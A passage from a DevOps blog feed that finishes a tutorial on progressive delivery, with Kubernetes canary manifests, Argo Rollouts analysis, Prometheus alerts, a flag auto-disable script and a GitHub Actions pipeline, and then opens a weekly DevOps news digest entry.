            </svg>
          </button>
        </h3><p>If you are running on Kubernetes, you can implement canary releases using multiple deployments with weighted traffic splitting. Here is an example using a stable deployment alongside a canary:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># stable-deployment.yaml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">checkout-service-stable</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
    <span class="hljs-attr">track:</span> <span class="hljs-string">stable</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">9</span>  <span class="hljs-comment"># 90% of traffic</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
      <span class="hljs-attr">track:</span> <span class="hljs-string">stable</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
        <span class="hljs-attr">track:</span> <span class="hljs-string">stable</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">checkout</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">checkout-service:v1.4.0</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">8080</span>
<span class="hljs-meta">---</span>
<span class="hljs-comment"># canary-deployment.yaml</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">checkout-service-canary</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
    <span class="hljs-attr">track:</span> <span class="hljs-string">canary</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>  <span class="hljs-comment"># 10% of traffic</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
      <span class="hljs-attr">track:</span> <span class="hljs-string">canary</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
        <span class="hljs-attr">track:</span> <span class="hljs-string">canary</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">checkout</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">checkout-service:v1.5.0</span>  <span class="hljs-comment"># New version</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">8080</span>
<span class="hljs-meta">---</span>
<span class="hljs-comment"># service.yaml - Routes to both stable and canary</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">checkout-service</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>  <span class="hljs-comment"># Matches both tracks</span>
  <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">port:</span> <span class="hljs-number">80</span>
      <span class="hljs-attr">targetPort:</span> <span class="hljs-number">8080</span>
</code></pre><h3 id="h3-automated-canary-analysis-with-argo-rollouts" class="group relative scroll-mt-24">
        <a href="#h3-automated-canary-analysis-with-argo-rollouts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Automated Canary Analysis with Argo Rollouts
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automated-canary-analysis-with-argo-rollouts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For more sophisticated canary management, <strong>Argo Rollouts</strong> provides automated progressive delivery with metric-based promotion:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Rollout</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">checkout-service</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">10</span>
  <span class="hljs-attr">strategy:</span>
    <span class="hljs-attr">canary:</span>
      <span class="hljs-attr">steps:</span>
        <span class="hljs-comment"># Step 1: Send 5% of traffic to canary</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">setWeight:</span> <span class="hljs-number">5</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">pause:</span> { <span class="hljs-attr">duration:</span> <span class="hljs-string">5m</span> }

        <span class="hljs-comment"># Step 2: Run automated analysis</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">analysis:</span>
            <span class="hljs-attr">templates:</span>
              <span class="hljs-bullet">-</span> <span class="hljs-attr">templateName:</span> <span class="hljs-string">canary-success-rate</span>
            <span class="hljs-attr">args:</span>
              <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">service-name</span>
                <span class="hljs-attr">value:</span> <span class="hljs-string">checkout-service</span>

        <span class="hljs-comment"># Step 3: Increase to 25%</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">setWeight:</span> <span class="hljs-number">25</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">pause:</span> { <span class="hljs-attr">duration:</span> <span class="hljs-string">10m</span> }

        <span class="hljs-comment"># Step 4: Analyze again at higher traffic</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">analysis:</span>
            <span class="hljs-attr">templates:</span>
              <span class="hljs-bullet">-</span> <span class="hljs-attr">templateName:</span> <span class="hljs-string">canary-success-rate</span>

        <span class="hljs-comment"># Step 5: Increase to 50%</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">setWeight:</span> <span class="hljs-number">50</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">pause:</span> { <span class="hljs-attr">duration:</span> <span class="hljs-string">15m</span> }

        <span class="hljs-comment"># Step 6: Final analysis before full rollout</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">analysis:</span>
            <span class="hljs-attr">templates:</span>
              <span class="hljs-bullet">-</span> <span class="hljs-attr">templateName:</span> <span class="hljs-string">canary-success-rate</span>

        <span class="hljs-comment"># If all analyses pass, promote to 100%</span>
      <span class="hljs-attr">canaryService:</span> <span class="hljs-string">checkout-canary</span>
      <span class="hljs-attr">stableService:</span> <span class="hljs-string">checkout-stable</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">checkout-service</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">checkout</span>
          <span class="hljs-attr">image:</span> <span class="hljs-string">checkout-service:v1.5.0</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">8080</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">argoproj.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">AnalysisTemplate</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">canary-success-rate</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">args:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">service-name</span>
  <span class="hljs-attr">metrics:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">success-rate</span>
      <span class="hljs-comment"># Query Prometheus for the canary&#x27;s error rate</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">60s</span>
      <span class="hljs-attr">successCondition:</span> <span class="hljs-string">result[0]</span> <span class="hljs-string">&gt;=</span> <span class="hljs-number">0.99</span>
      <span class="hljs-attr">failureLimit:</span> <span class="hljs-number">3</span>
      <span class="hljs-attr">provider:</span>
        <span class="hljs-attr">prometheus:</span>
          <span class="hljs-attr">address:</span> <span class="hljs-string">http://prometheus.monitoring:9090</span>
          <span class="hljs-attr">query:</span> <span class="hljs-string">|
            sum(rate(http_requests_total{
              service=&quot;{{args.service-name}}&quot;,
              status=~&quot;2..&quot;,
              track=&quot;canary&quot;
            }[2m]))
            /
            sum(rate(http_requests_total{
              service=&quot;{{args.service-name}}&quot;,
              track=&quot;canary&quot;
            }[2m]))</span>
</code></pre><p>This configuration automatically promotes the canary through each stage only if the success rate stays at or above 99%. If the metric drops below that threshold three times, the rollout automatically rolls back.</p>
<h2 id="h2-combining-feature-flags-with-canary-releases" class="group relative scroll-mt-24">
        <a href="#h2-combining-feature-flags-with-canary-releases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Combining Feature Flags with Canary Releases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-combining-feature-flags-with-canary-releases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The most effective progressive delivery strategies combine both approaches. Feature flags handle application-level control, while canary releases manage infrastructure-level traffic splitting:</p>
<pre><code class="hljs language-text">┌─────────────────────────────────────────────────┐
│              Progressive Delivery                │
│                                                  │
│  Infrastructure Layer (Canary)                   │
│  ┌──────────────┐    ┌──────────────┐           │
│  │  Stable v1.4 │    │ Canary v1.5  │           │
│  │   90% traffic│    │  10% traffic │           │
│  └──────┬───────┘    └──────┬───────┘           │
│         │                   │                    │
│  Application Layer (Feature Flags)               │
│  ┌──────┴───────────────────┴───────┐           │
│  │  Feature: new-checkout-flow      │           │
│  │  ├── 50% of canary users see it  │           │
│  │  └── 0% of stable users see it   │           │
│  └──────────────────────────────────┘           │
│                                                  │
│  Net exposure: 10% × 50% = 5% of all users     │
└─────────────────────────────────────────────────┘
</code></pre><p>This layered approach gives you extremely fine-grained control. You can test infrastructure changes (new container image) on the canary while also controlling which specific features within that image are active.</p>
<h2 id="h2-monitoring-and-rollback-strategy" class="group relative scroll-mt-24">
        <a href="#h2-monitoring-and-rollback-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Monitoring and Rollback Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-monitoring-and-rollback-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Progressive delivery is only as good as your ability to detect problems. You need observability in place <strong>before</strong> you start rolling out.</p>
<h3 id="h3-key-metrics-to-monitor" class="group relative scroll-mt-24">
        <a href="#h3-key-metrics-to-monitor" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Metrics to Monitor
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-key-metrics-to-monitor"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Track these metrics at every rollout stage:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Example Prometheus alerting rules for canary monitoring</span>
<span class="hljs-attr">groups:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">canary-alerts</span>
    <span class="hljs-attr">rules:</span>
      <span class="hljs-comment"># Error rate spike</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">CanaryHighErrorRate</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          (
            sum(rate(http_requests_total{track=&quot;canary&quot;,status=~&quot;5..&quot;}[5m]))
            /
            sum(rate(http_requests_total{track=&quot;canary&quot;}[5m]))
          ) &gt; 0.02
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">2m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">critical</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Canary error rate above 2%&quot;</span>

      <span class="hljs-comment"># Latency degradation</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">alert:</span> <span class="hljs-string">CanaryHighLatency</span>
        <span class="hljs-attr">expr:</span> <span class="hljs-string">|
          histogram_quantile(0.99,
            sum(rate(http_request_duration_seconds_bucket{track=&quot;canary&quot;}[5m]))
            by (le)
          ) &gt; 1.5
</span>        <span class="hljs-attr">for:</span> <span class="hljs-string">3m</span>
        <span class="hljs-attr">labels:</span>
          <span class="hljs-attr">severity:</span> <span class="hljs-string">warning</span>
        <span class="hljs-attr">annotations:</span>
          <span class="hljs-attr">summary:</span> <span class="hljs-string">&quot;Canary p99 latency above 1.5s&quot;</span>
</code></pre><h3 id="h3-automated-rollback" class="group relative scroll-mt-24">
        <a href="#h3-automated-rollback" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Automated Rollback
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automated-rollback"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Configure your feature flag system to automatically disable flags when metrics breach thresholds:</p>
<pre><code class="hljs language-javascript"><span class="hljs-keyword">const</span> { <span class="hljs-title class_">MetricWatcher</span> } = <span class="hljs-built_in">require</span>(<span class="hljs-string">&#x27;./observability&#x27;</span>);

<span class="hljs-keyword">const</span> watcher = <span class="hljs-keyword">new</span> <span class="hljs-title class_">MetricWatcher</span>({
  <span class="hljs-attr">prometheusUrl</span>: process.<span class="hljs-property">env</span>.<span class="hljs-property">PROMETHEUS_URL</span>,
});

<span class="hljs-comment">// Watch error rates for flagged features</span>
watcher.<span class="hljs-title function_">watch</span>(<span class="hljs-string">&#x27;newCheckoutFlow&#x27;</span>, {
  <span class="hljs-attr">query</span>: <span class="hljs-string">&#x27;rate(checkout_errors_total{version=&quot;v2&quot;}[5m])&#x27;</span>,
  <span class="hljs-attr">threshold</span>: <span class="hljs-number">0.01</span>, <span class="hljs-comment">// 1% error rate</span>
  <span class="hljs-attr">action</span>: <span class="hljs-title function_">async</span> (flagName, currentValue) =&gt; {
    <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">error</span>(
      <span class="hljs-string">`Flag <span class="hljs-subst">${flagName}</span> breached threshold: <span class="hljs-subst">${currentValue}</span>. Disabling.`</span>
    );
    <span class="hljs-keyword">await</span> flagService.<span class="hljs-title function_">disable</span>(flagName);

    <span class="hljs-comment">// Notify the team</span>
    <span class="hljs-keyword">await</span> slack.<span class="hljs-title function_">send</span>(<span class="hljs-string">&#x27;#deployments&#x27;</span>, {
      <span class="hljs-attr">text</span>: <span class="hljs-string">`Auto-disabled flag &quot;<span class="hljs-subst">${flagName}</span>&quot; due to elevated error rate (<span class="hljs-subst">${(currentValue * <span class="hljs-number">100</span>).toFixed(<span class="hljs-number">2</span>)}</span>%)`</span>,
    });
  },
});
</code></pre><h2 id="h2-a-complete-progressive-delivery-pipeline" class="group relative scroll-mt-24">
        <a href="#h2-a-complete-progressive-delivery-pipeline" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          A Complete Progressive Delivery Pipeline
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-a-complete-progressive-delivery-pipeline"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Putting it all together, here is what a CI/CD pipeline with progressive delivery looks like:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># .github/workflows/progressive-deploy.yml</span>
<span class="hljs-attr">name:</span> <span class="hljs-string">Progressive</span> <span class="hljs-string">Delivery</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span> [<span class="hljs-string">main</span>]

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build-and-test:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">docker</span> <span class="hljs-string">build</span> <span class="hljs-string">-t</span> <span class="hljs-string">checkout-service:${{</span> <span class="hljs-string">github.sha</span> <span class="hljs-string">}}</span> <span class="hljs-string">.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">docker</span> <span class="hljs-string">push</span> <span class="hljs-string">checkout-service:${{</span> <span class="hljs-string">github.sha</span> <span class="hljs-string">}}</span>

  <span class="hljs-attr">deploy-canary:</span>
    <span class="hljs-attr">needs:</span> <span class="hljs-string">build-and-test</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Update</span> <span class="hljs-string">canary</span> <span class="hljs-string">deployment</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          kubectl set image deployment/checkout-canary \
            checkout=checkout-service:${{ github.sha }}
          kubectl rollout status deployment/checkout-canary --timeout=120s
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Enable</span> <span class="hljs-string">feature</span> <span class="hljs-string">flag</span> <span class="hljs-string">for</span> <span class="hljs-string">canary</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          curl -X PATCH &quot;$FLAG_SERVICE_URL/api/flags/new-checkout-flow&quot; \
            -H &quot;Authorization: Bearer ${{ secrets.FLAG_SERVICE_TOKEN }}&quot; \
            -d &#x27;{&quot;rolloutPercentage&quot;: 5, &quot;targetSegment&quot;: &quot;canary&quot;}&#x27;
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Wait</span> <span class="hljs-string">and</span> <span class="hljs-string">validate</span> <span class="hljs-string">metrics</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          sleep 300  # Wait 5 minutes for metrics to accumulate
          ERROR_RATE=$(curl -s &quot;$PROMETHEUS_URL/api/v1/query&quot; \
            --data-urlencode &#x27;query=rate(http_errors_total{track=&quot;canary&quot;}[5m])&#x27; \
            | jq &#x27;.data.result[0].value[1] // &quot;0&quot;&#x27; -r)
          if (( $(echo &quot;$ERROR_RATE &gt; 0.02&quot; | bc -l) )); then
            echo &quot;Canary error rate too high: $ERROR_RATE&quot;
            exit 1
          fi
</span>
  <span class="hljs-attr">promote-to-stable:</span>
    <span class="hljs-attr">needs:</span> <span class="hljs-string">deploy-canary</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Gradually</span> <span class="hljs-string">increase</span> <span class="hljs-string">rollout</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          for pct in 25 50 75 100; do
            curl -X PATCH &quot;$FLAG_SERVICE_URL/api/flags/new-checkout-flow&quot; \
              -H &quot;Authorization: Bearer ${{ secrets.FLAG_SERVICE_TOKEN }}&quot; \
              -d &quot;{\&quot;rolloutPercentage\&quot;: $pct}&quot;
            echo &quot;Rollout at ${pct}%, waiting for metrics...&quot;
            sleep 300
          done
</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Update</span> <span class="hljs-string">stable</span> <span class="hljs-string">deployment</span>
        <span class="hljs-attr">run:</span> <span class="hljs-string">|
          kubectl set image deployment/checkout-stable \
            checkout=checkout-service:${{ github.sha }}
          kubectl rollout status deployment/checkout-stable --timeout=300s</span>
</code></pre><h2 id="h2-best-practices" class="group relative scroll-mt-24">
        <a href="#h2-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>As you adopt progressive delivery, keep these principles in mind:</p>
<ol>
<li><p><strong>Start with observability</strong>. You cannot progressively deliver what you cannot measure. Set up metrics, alerts, and dashboards before you flip your first flag.</p>
</li>
<li><p><strong>Keep flag lifecycles short</strong>. Feature flags are not meant to live forever. Remove flags once a feature is fully rolled out. Stale flags become technical debt.</p>
</li>
<li><p><strong>Use consistent hashing for user assignment</strong>. Users should have a stable experience. Randomly assigning on each request creates a confusing, inconsistent experience.</p>
</li>
<li><p><strong>Test both paths</strong>. Your CI pipeline should test the application with flags both on and off. Untested flag combinations are a common source of production incidents.</p>
</li>
<li><p><strong>Separate operational flags from release flags</strong>. Kill switches for degraded mode are different from gradual feature rollouts. Treat them differently in your tooling and processes.</p>
</li>
<li><p><strong>Automate rollback decisions</strong>. Human reaction time is too slow for production incidents. Define metric thresholds and let your system roll back automatically when they are breached.</p>
</li>
<li><p><strong>Document flag ownership</strong>. Every flag should have an owner and an expiration date. This prevents the accumulation of zombie flags that nobody is willing to remove.</p>
</li>
</ol>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Progressive delivery transforms deployments from high-stakes events into routine, low-risk operations. By combining feature flags for application-level control with canary releases for infrastructure-level traffic management, you get a layered safety net that catches problems before they reach your entire user base.</p>
<p>The key steps to get started:</p>
<ul>
<li>Adopt a feature flag system (start with OpenFeature for vendor independence)</li>
<li>Implement canary deployments in your infrastructure (Argo Rollouts is a great starting point for Kubernetes)</li>
<li>Set up observability with automated rollback triggers</li>
<li>Build a CI/CD pipeline that progresses through rollout stages automatically</li>
<li>Establish processes for flag lifecycle management to prevent technical debt</li>
</ul>
<p>Start small with a single non-critical feature, prove out the workflow, and then expand to your full deployment pipeline. The investment in progressive delivery pays for itself the first time you catch a bug at 5% rollout instead of discovering it at 100%.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 13, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-13</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-13</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
